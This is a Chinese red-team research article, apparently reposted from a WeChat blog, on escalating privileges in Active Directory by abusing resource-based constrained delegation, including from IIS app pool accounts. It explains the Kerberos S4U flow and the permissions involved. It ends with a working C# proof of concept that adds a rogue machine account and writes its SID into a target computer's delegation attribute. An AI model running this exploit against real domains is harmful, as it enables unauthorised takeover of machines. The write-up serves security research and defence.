原创 n0thing [奇安信ATEAM](javascript:void(0) 3月19日
作者:n0thing@QAX A-TEAM
校对:L.N.
同时感谢QAX A-TEAM审核团对本文提出的宝贵建议。
这个标题可能有点“标题党”的嫌疑,但内容我想不会让大家失望的。读过《这是一篇“不一样”的真实渗透测试案例分析文章》的同学应该还记得文中的基于资源的约束委派的利用,当时文中很多细节都一笔带过了,这篇文章中会解答一部分。
这篇文章主要从利用基于资源的约束委派来本地提权的角度展开,大致分为三部分:第一部分我们会讲基础知识,但不会深入;第二部分我们会分析提权原理;第三部分主要以利用思路和演示为主。
“烂番茄”
,这是一个新名词,这时你一定想到了“烂土豆”
,对,我们都可以在IIS下本地提权,文末将以IIS下的权限提升为例进行讲解。
这篇文章的本地提权是一种基于资源的约束委派的利用,因此读者必须要有部分Kerberos委派的基础知识,推荐详细阅读《Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory》,这篇文章从基础的Kerberos委派讲起。如果你还缺少Kerberos的基础知识,推荐阅读《Kerberos and Windows Security Series》。下文中将不会再详细介绍以上前置知识,但会简单的说下基于资源的约束委派(RBCD)。
**基于资源的约束委派(RBCD)**是在Windows Server 2012中新加入的功能,与传统的约束委派相比,它不再需要域管理员权限去设置相关属性。RBCD把设置委派的权限赋予了机器自身,既机器自己可以决定谁可以被委派来控制我。也就是说机器自身可以直接在自己账户上配置msDS-AllowedToActOnBehalfOfOtherIdentity属性来设置RBCD。
下面我们通过一个简单的业务场景来说明RBCD的作用,假设网站A服务器是一个文件系统,而网站A服务器只有网站程序相关的功能,真正存放文件的是文件服务器B。这种场景下,用户X登录该网站,打开网站中文件1.txt,因为1.txt实际存储在文件服务器B中,此时网站A服务器就需要访问文件服务器B的权限。如果我们利用RBCD来实现这个业务场景,流程如下图:
在上面的描述中涉及到了S4U2Self和S4U2Proxy这两个Kerberos扩展协议。
S4U2Self
通过此扩展可以拿到一张标识任意用户身份的TGS(图中是去获取的用户X身份的TGS),上文已经解释过了,它的作用其实是协议转换。当用户X使用非Kerberos协议请求网站A的时候,网站A是没有用户X的TGS的,但是是网站A要去获取文件服务器B的访问权限(TGS)需要用户X的TGS,因此S4U2Self解决了这个问题,网站A服务器可以使用它去向KDC请求一张用户X身份的TGS,网站A服务器再用这张TGS去发起S4U2proxy请求。
S4U2proxy
该拓展作用是使用一张用户X身份的TGS去向KDC请求一张用于访问文件服务器B的TGS,这张TGS的身份还是用户X,这样网站A就可以利用用户X的权限去访问文件服务器B上的文件了。
相信此时大家应该明白了**基于资源的约束委派(RBCD)**的认证流程。怎么来设置基于资源的约束委派呢?其中msDS-AllowedToActOnBehalfOfOtherIdentity是关键。
如果你还是不太明白基于资源的约束委派,请详细阅读节首提到了文章《Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory》,再继续阅读下面的内容。接下来就是关于提权原理相关的介绍。
在《Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory》中提到了一些利用RBCD本地提权的方案都是基于WEBDAV结合NTLM relay到ldap去设置msDS-AllowedToActOnBehalfOfOtherIdentity属性的方案,例如:利用用户头像更新的UNC路径和MSSQL的xp_dirtree的利用。
在本文当中我们会换个思路来思考RBCD的利用,首先我们来思考一个问题:"谁有权限能修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的值呢?"
分析环境如下:
查询web3的"msDS-AllowedToActOnBehalfOfOtherIdentity"属性发现默认是不存在的。 由此得知所有加入域的机器默认不存在这个属性,需要手动添加才行!
那么谁权限能修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的值呢?
的问题就变成了谁有权限添加msDS-AllowedToActOnBehalfOfOtherIdentity属性?
我们再看web3这台机器的LDAP ACL权限情况,用.net实现一个查看ACL的小工具,代码如下:
编译运行后会输出哪些对象拥有哪些权限,而这两条ACL引起了我的注意
REDTEAM\web3user -> WriteProperty
NT AUTHORITY\SELF -> WriteProperty
先来看这条 ACL
REDTEAM\web3user -> WriteProperty
WriteProperty
是指拥有写入对象属性的权限,看到这里不禁露出笑容,这不是我们正想要的么
使用ADExplorer来测试是否可以添加msDS-AllowedToActOnBehalfOfOtherIdentity
,用web3user登录
然后添加属性,value是O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;serverA的sid)
组成的,其中value里面的sid用于访问检查,以确定这个sid对象是否有权限代表其他身份进行认证。
为什么REDTEAM\web3user拥有WriteProperty权限呢?当web3计算机通过域用户web3user加入域时,域内会创建名为****web3.redteam.com的计算机对象,而创建者就是web3user,所以该域用户具有对web3.redteam.com的WriteProperty权限。
可以在"mS-DS-CreatorSID"属性中看到,这台计算机是谁创建的,sid对应所属域用户
然后我们再分析另一条ACL
NT AUTHORITY\SELF -> WriteProperty
NT AUTHORITY\SELF
自身(web3.redteam.com)对于自身对象拥有ReadProperty, WriteProperty等权限那么就可以随便操作msDS-AllowedToActOnBehalfOfOtherIdentity
属性了。
至此我们再来回答这谁有权限添加msDS-AllowedToActOnBehalfOfOtherIdentity属性?
我们再回顾一个知识点,默认域控的ms-DS-MachineAccountQuota属性设置允许所有域用户向一个域添加多达10个计算机帐户,就是说只要有一个域凭据就可以在域内任意添加机器账户。这个凭据可以是域内的用户账户、服务账户、机器账户。
因此web3user和机器账户自身都可以去创建一个新的机器账户。现在我们就满足了2个利用基于资源的约束委派的条件:
知道了以上条件,接下来就是一个完整S4U2协议的利用过程。
假设我们现在已经在n0thing-pc(域中一台普通机器)上拥有了上文分析的满足了2个利用基于资源的约束委派的条件。接下来继续分析一下怎么通过s4u拿到一张访问n0thing-pc的高权限票据。
第一步,连接域控ldap创建计算机账户evilpc
在上一篇文章《这是一篇“不一样”的真实渗透测试案例分析文章》中我们提到"域控不允许在未加密的链接中创建计算机用户"。那么上面给的代码为什么是去连接域控389端口(ldap)而不是去连接636端口(ldaps)创建呢?答案是:ldaps需要配置证书才能使用,在默认环境下就不能正常工作,而ldap只要将Sealing属性设置为ture则可以用sasl加密连接。
第二步,通过ldap协议在域控上设置n0thing-pc的msds-allowedtoactonbehalfofotheridentity值为O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;evilpc的sid)
第三步,使用evilpc凭据拿到一张TGT,这张TGT是为了下一步使用s4u2self时的必备身份验证条件
第四步 使用s4u2self代表administrator拿到一张TGS
简单分析一下tgs-req做了什么? 首先将evilpc的tgt放在TGQ-REQ -> padata -> PA-DATA PA-TGS-REQ ->padata-value->ap-req 结构体中
表示以administrator这个用户身份申请一张tgs 对自己请求 再看TGS-REP
这张tgs是用evilpc hash加密的 s4u2self这个步骤作用是 evilpc拿自己的tgt票据请求一张访问evilpc的tgs,且该tgs的身份是administrator,而这张tgs是用evilpc的hash加密的
第五步 这是s4u最后一步-s4u2proxy,我们拿从s4u2self那里获取到的tgs作为验证信息再去请求一张用于访问n0thing-pc机器CIFS spn的tgs票据。
sname必须是spn,通过setspn -Q */*
并没有看到存在cifs spn,为什么又可以申请成功呢?
因为HOST/N0THING-PC.redteam.com是多个SPN的集合,其中就涵盖了cifs
最后拿这张票据就可以去通过操作smb服务执行命令了。
以上就是S4U2协议的利用的过程,也是基于资源的约束委派的一个详细利用过程。原理基本就到此结束了,接下来是详细的利用场景。
说一下在真实场景中可能会出现的情况,场景如下:
新员工n0thing入职后用工作电脑加入公司域时,域内会创建名为n0thing-pc.redteam.com的计算机账户,而域用户n0thing则对计算机账户(n0thing-pc.redteam.com)的"msDS-AllowedToActOnBehalfOfOtherIdentity"属性拥有写入权限
测试环境如下:
在以往的渗透场景中经常会出现攻击者对企业员工进行钓鱼攻击,而n0thing同学不慎中招了,但是发现该用户没有在本地管理员组里面,这时候攻击者想用mimikatz等工具获取这台机器密码时就会陷入困境。
让我们开始提权之旅,前面已经详细讲述了S4U2的利用原理,这里就给大家看利用过程。
这当然不仅仅可以用来提权,还存在其他攻击场景:
下面给出用.net实现在域内查询计算机"mS-DS-CreatorSID"属性的工具
using System;
using System.Security.Principal;
using System.DirectoryServices;
namespace ConsoleApp9
{
class Program
{
static void Main(string[] args)
{
DirectoryEntry ldap_conn = new DirectoryEntry("LDAP://dc=redteam,dc=com");
DirectorySearcher search = new DirectorySearcher(ldap_conn);
String query = "(&(objectClass=computer))";//查找计算机
search.Filter = query;
foreach (SearchResult r in search.FindAll())
{
String mS_DS_CreatorSID="";
String computername = "";
try
{
computername = r.Properties["dNSHostName"][0].ToString();
mS_DS_CreatorSID = (new SecurityIdentifier((byte[])r.Properties["mS-DS-CreatorSID"][0], 0)).ToString();
//Console.WriteLine("{0} {1}\n", computername, mS_DS_CreatorSID);
}
catch
{
;
}
//再通过sid找用户名
String UserQuery = "(&(objectClass=user))";
DirectorySearcher search2 = new DirectorySearcher(ldap_conn);
search2.Filter = UserQuery;
foreach (SearchResult u in search2.FindAll())
{
String user_sid = (new SecurityIdentifier((byte[])u.Properties["objectSid"][0], 0)).ToString();
if (user_sid == mS_DS_CreatorSID) {
//Console.WriteLine("debug");
String username = u.Properties["name"][0].ToString();
Console.WriteLine("[*] [{0}] -> creator [{1}]",computername, username);
}
}
}
}
}
}
如图所示,只要我们有域用户n0thing的凭据就能利用rbcd将dev01、dev02、n0thing-pc这几台机器打下来。
在上一篇文章《这是一篇“不一样”的真实渗透测试案例分析文章》中我们提到了system做relay是通过机器账户去请求的,那么iis用户 iis apppool\defaultapppool
出网会是什么权限呢?
是的,也是机器账户去请求的。
查阅资料发现微软的文档(https://docs.microsoft.com/en-us/iis/manage/configuring-security/application-pool-identities)中是这样解释的
iis apppool 账号请求网络资源时用的是****当前机器账户身份请求的
而这样设计会导致一个非常严重的问题就是可以直接连接到域控的ldap设置基于资源约束委派。并且不止iis可以提权,所有低权限服务(例如network service这类型的本机服务)如果可以请求域资源,那么出网都是以机器账户身份去请求的,这样都会造成权限提升。
我们来看下域内iis上的提权过程,配置环境如下:
轻松提权,上文中我们提到了低权限服务
,我们还对 nt authority\network service
权限进行了测试,得到的结果都和iis一样,出网身份是机器账户,也就是说它可以用同样的手法提权。
更多的利用手法和利用场景,有兴趣的朋友可以翻阅微软文档继续挖掘,比如:sql server的利用。
本文介绍了RBCD提权原理并分析出了默认可利用RBCD进行攻击的账户:将机器加入域的那个账户(mS-DS-CreatorSID)
和SELF机器账户自身
。我们还分析了以机器账户出网的账户有:SYSTEM
、iis apppool\defaultapppool
、network service
,结合这些条件我们提出了IIS本地提权的思路和mS-DS-CreatorSID的新的攻击面(从本地提权到横向移动的利用思路)。更多的利用思路希望读者自己发掘。
最后附上上文演示中的poc,代码参考自SharpAllowedToAct。
using System;
using System.Text;
using System.Security.AccessControl;
using System.Security.Principal;
using System.Net;
namespace Addnew_MachineAccount
{
class Program
{
static void Main(string[] args)
{
String DomainController = "192.168.20.10";
String Domain = "redteam.com";
//String username = args[0]; //域用户名
//String password = args[1]; //域用户密码
String new_MachineAccount = "evilpc"; //添加的机器账户
String new_MachineAccount_password = "123456"; //机器账户密码
String victimcomputer = "web2"; //需要进行提权的机器
String victimcomputer_ldap_path = "LDAP://CN=web2,CN=Computers,DC=redteam,DC=com";
String machine_account = new_MachineAccount;
String sam_account = machine_account + "$";
String distinguished_name = "";
String[] DC_array = null;
distinguished_name = "CN=" + machine_account + ",CN=Computers";
DC_array = Domain.Split('.');
foreach (String DC in DC_array)
{
distinguished_name += ",DC=" + DC;
}
Console.WriteLine("[+] Elevate permissions on " + victimcomputer);
Console.WriteLine("[+] Domain = " + Domain);
Console.WriteLine("[+] Domain Controller = " + DomainController);
//Console.WriteLine("[+] New SAMAccountName = " + sam_account);
//Console.WriteLine("[+] Distinguished Name = " + distinguished_name);
//连接ldap
System.DirectoryServices.Protocols.LdapDirectoryIdentifier identifier = new System.DirectoryServices.Protocols.LdapDirectoryIdentifier(DomainController, 389);
//NetworkCredential nc = new NetworkCredential(username, password); //使用凭据登录
System.DirectoryServices.Protocols.LdapConnection connection = null;
//connection = new System.DirectoryServices.Protocols.LdapConnection(identifier, nc);
connection = new System.DirectoryServices.Protocols.LdapConnection(identifier);
connection.SessionOptions.Sealing = true;
connection.SessionOptions.Signing = true;
connection.Bind();
var request = new System.DirectoryServices.Protocols.AddRequest(distinguished_name, new System.DirectoryServices.Protocols.DirectoryAttribute[] {
new System.DirectoryServices.Protocols.DirectoryAttribute("DnsHostName", machine_account +"."+ Domain),
new System.DirectoryServices.Protocols.DirectoryAttribute("SamAccountName", sam_account),
new System.DirectoryServices.Protocols.DirectoryAttribute("userAccountControl", "4096"),
new System.DirectoryServices.Protocols.DirectoryAttribute("unicodePwd", Encoding.Unicode.GetBytes("\"" + new_MachineAccount_password + "\"")),
new System.DirectoryServices.Protocols.DirectoryAttribute("objectClass", "Computer"),
new System.DirectoryServices.Protocols.DirectoryAttribute("ServicePrincipalName", "HOST/"+machine_account+"."+Domain,"RestrictedKrbHost/"+machine_account+"."+Domain,"HOST/"+machine_account,"RestrictedKrbHost/"+machine_account)
});
try
{
//添加机器账户
connection.SendRequest(request);
Console.WriteLine("[+] Machine account: " + machine_account + " Password: " + new_MachineAccount_password + " added");
}
catch (System.Exception ex)
{
Console.WriteLine("[-] The new machine could not be created! User may have reached ms-DS-new_MachineAccountQuota limit.)");
Console.WriteLine("[-] Exception: " + ex.Message);
return;
}
// 获取新计算机对象的SID
var new_request = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "(&(samAccountType=805306369)(|(name=" + machine_account + ")))", System.DirectoryServices.Protocols.SearchScope.Subtree, null);
var new_response = (System.DirectoryServices.Protocols.SearchResponse)connection.SendRequest(new_request);
SecurityIdentifier sid = null;
foreach (System.DirectoryServices.Protocols.SearchResultEntry entry in new_response.Entries)
{
try
{
sid = new SecurityIdentifier(entry.Attributes["objectsid"][0] as byte[], 0);
Console.Out.WriteLine("[+] "+ new_MachineAccount +" SID : " + sid.Value);
}
catch
{
Console.WriteLine("[!] It was not possible to retrieve the SID.\nExiting...");
return;
}
}
//设置资源约束委派
System.DirectoryServices.DirectoryEntry myldapConnection = new System.DirectoryServices.DirectoryEntry("redteam.com");
myldapConnection.Path = victimcomputer_ldap_path;
myldapConnection.AuthenticationType = System.DirectoryServices.AuthenticationTypes.Secure;
System.DirectoryServices.DirectorySearcher search = new System.DirectoryServices.DirectorySearcher(myldapConnection);
//通过ldap找计算机
search.Filter = "(CN="+victimcomputer+")";
string[] requiredProperties = new string[] { "samaccountname" };
foreach (String property in requiredProperties)
search.PropertiesToLoad.Add(property);
System.DirectoryServices.SearchResult result = null;
try
{
result = search.FindOne();
}
catch (System.Exception ex)
{
Console.WriteLine(ex.Message + "Exiting...");
return;
}
if (result != null)
{
System.DirectoryServices.DirectoryEntry entryToUpdate = result.GetDirectoryEntry();
String sec_descriptor = "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + sid.Value + ")";
System.Security.AccessControl.RawSecurityDescriptor sd = new RawSecurityDescriptor(sec_descriptor);
byte[] descriptor_buffer = new byte[sd.BinaryLength];
sd.GetBinaryForm(descriptor_buffer, 0);
// 添加evilpc的sid到msds-allowedtoactonbehalfofotheridentity中
entryToUpdate.Properties["msds-allowedtoactonbehalfofotheridentity"].Value = descriptor_buffer;
try
{
entryToUpdate.CommitChanges();//提交更改
Console.WriteLine("[+] Exploit successfully!");
}
catch (System.Exception ex)
{
Console.WriteLine(ex.Message);
Console.WriteLine("[!] \nFailed...");
return;
}
}
}
}
}
转载自https://mp.weixin.qq.com/s/Ue2ULu8vxYHrYEalEzbBSw